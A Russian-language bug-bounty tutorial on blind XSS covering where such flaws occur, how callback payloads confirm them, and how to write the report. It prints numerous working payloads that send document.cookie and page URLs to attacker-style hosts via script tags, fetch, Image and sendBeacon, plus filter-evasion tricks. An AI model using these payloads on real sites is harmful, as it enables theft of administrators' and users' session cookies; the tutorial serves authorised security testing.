Blind XSS — одна из самых коварных разновидностей XSS-уязвимостей. Если обычный XSS виден сразу, то слепой — нет. Скрипт исполняется в чужом браузере, о чём вы узнаете только по косвенным признакам. Именно поэтому Blind XSS — настоящая находка для багхантера: её сложнее обнаружить, но награда за такой баг часто выше.
Что такое Blind XSS и как он работает
В отличие от классического XSS, который срабатывает в интерфейсе, с которым работает сам атакующий, Blind XSS исполняется в другом месте — например, в админке, в панели модератора или в почтовой системе. Инъекция происходит где-то в пользовательском интерфейсе, но проявляется лишь тогда, когда другой человек откроет заражённые данные.
Пример: вы вводите в форму имени пользователя строку вида <script src="https://xss.example.com/poc.js"></script>. На фронте ничего не происходит — имя просто отображается как текст. Но через пару часов администратор открывает страницу с этой записью в своей панели, и… Бах! Скрипт исполняется в его браузере, отправляя вам cookies, localStorage, IP или токены.
Ключевая особенность
Вы не видите результат сразу. Именно поэтому нужно использовать механизмы "обратной связи" — чтобы понять, что ваша полезная нагрузка вообще куда-то попала и отработала.
Где искать точки входа для Blind XSS
Blind XSS особенно часто встречается в тех местах, где пользовательский ввод сохраняется и позже отображается в другом контексте. Вот популярные зоны риска:
- Формы обратной связи (контактные формы)
- Поля имени/компании/отзыва
- Службы поддержки (тикет-системы)
- Отправка сообщений или комментариев
- Формы регистрации/редактирования профиля
- Формы прикрепления метаданных к файлам
- Внутренние CRM/админ-панели
Как устроена эксплуатация Blind XSS
Суть: вы вводите XSS-полезную нагрузку в одно из полей. Если данные потом где-то отображаются без фильтрации, скрипт выполнится. Чтобы понять, что он сработал, вам нужно, чтобы он сообщил об этом — например, отправил запрос на ваш сервер.
Типичная полезная нагрузка
<script src="https://yourdomain.com/blind.js"></script>
Где blind.js — ваш файл, отправляющий информацию о жертве на сервер:
new Image().src = "https://yourdomain.com/log?cookie=" + document.cookie + "&url=" + document.location;
Совет: персонализируйте нагрузку
<script src="https://yourdomain.com/blind.js?id=regform-username"></script>
Инструменты для охоты на Blind XSS
Примеры полезных XSS-нагрузок
<script src="https://xss.yourdomain.net/payload.js"></script><img src=x onerror="fetch('https://x.yourdomain.net?d='+document.cookie)"><svg onload=location.href='https://x.yourdomain.net/?url='+location><iframe src="javascript:top.location='//x.yourdomain.net/?cookie='+document.cookie">
Примеры реальных сценариев Blind XSS
Сценарий 1: XSS через поле имени в форме обратной связи
<script src="https://attacker.site/c.js"></script> new Image().src = "https://attacker.site/log?cookie=" + document.cookie;
Сценарий 2: Скрытая инъекция через имя файла
<img src=x onerror=fetch('https://x.attacker.site?d='+document.cookie)>
Сценарий 3: Сообщения в саппорт с отложенным исполнением
<svg onload="navigator.sendBeacon('https://xss.trap.net',document.cookie)">
Сценарий 4: Blind XSS через API метаданных
POST /api/documents/upload
{
"filename": "report.pdf",
"description": "<iframe src='javascript:alert(document.domain)'>"
}
Сценарий 5: Инъекция через кастомное поле профиля
<script>fetch('//trap.com?p='+document.cookie)</script>
Рекомендации по тестированию
Тестируйте разные типы полей, в том числе скрытые, и используйте уникальные payload'ы. Логирование обратных вызовов поможет точно понять, какие поля уязвимы.
Blind XSS и багбаунти: как оформить отчёт
- Укажите точку ввода
- Объясните, почему XSS слепой
- Приложите логи с сервера
- Поясните роль пользователя (если известна)
Обход фильтров: как не попасться на защите
- Нестандартные теги:
<svg>,<math> - Обфускация: base64, шаблонные строки
- Внешние скрипты вместо встроенных
- Кодировка: Unicode escaping, UTF-7
Полезные ресурсы
Заключение
Blind XSS — это проверка внимательности, терпения и методичности. Уязвимость может долго оставаться незаметной, пока кто-то не активирует её случайным кликом. И если вы всё настроили правильно — именно вы получите уведомление. Это и делает Blind XSS особенно ценным багом.
Ищите, автоматизируйте, логируйте. Удачной охоты!